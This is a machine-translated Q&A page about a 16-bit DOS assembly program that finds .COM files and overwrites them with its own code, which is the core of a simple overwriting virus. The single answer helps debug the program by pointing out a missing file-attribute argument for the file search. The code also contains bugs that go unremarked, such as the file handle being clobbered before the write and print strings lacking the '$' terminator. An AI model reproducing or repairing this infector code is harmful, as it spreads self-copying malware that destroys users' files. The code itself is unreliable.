2012-02-28 2 views
1

Я работаю со следующими 16-битного кода сборки:Не удается найти ошибку в этой простой программе сборки

  .model tiny 
      .code 

      ORG 100H 

FILE_NAME  EQU 9EH  ;DTA Position after execution of search_first_file 

START:   
      mov  ah,9   ;Print start message 
      mov dx,OFFSET STR_START 
      int 21H 

      mov  ah,4EH  ;Search first file 
      mov dx,OFFSET PATH 
      int 21H 
      jc NO_FILE_FOUND 

FILE_FOUND: 
      mov  ah,9   ;Print file found message 
      mov dx,OFFSET STR_FILE_FOUND 
      int 21H  

      mov ah,3DH  ;Open file to write 
      mov al,01H 
      mov dx,FILE_NAME 
      int 21H 

      mov  ah,9   ;Print file opened message 
      mov dx,OFFSET STR_FILE_OPENED 
      int 21H  

      mov ah,40H  ;Write code 
      mov bx,ax 
      mov dx,100H 
      mov cx,44 
      int 21H 

      mov  ah,9   ;Print file written message 
      mov dx,OFFSET STR_FILE_WRITTEN 
      int 21H  

      mov ah,3EH  ;Close file 
      int 21H 

      mov ah,4FH  ;Search next 
      int 21H 
      jnc FILE_FOUND   

NO_FILE_FOUND: 
      ret 

PATH    db  'C:\comfiles_folder\HOST.COM',0 
STR_START  db 'program started!',0 
STR_FILE_FOUND db 'file found!',0 
STR_FILE_OPENED db 'file opened!',0 
STR_FILE_WRITTEN db 'code written!',0 

      END START 

Эта программа в основном ищет папку comfiles_folder на пути C:\comfiles_folder\HOST.COM и записывает свой код в файл, найден.

Я отладил его с помощью CodeView и выяснил, что он не может найти файл HOST.COM. Может кто-нибудь, пожалуйста, скажите мне, что не так?

ответ

1

Find First File звонок требует еще одного параметра. Вы не установили file attributes в регистр cx перед вызовом Int 21 0x4E (Find Fist File).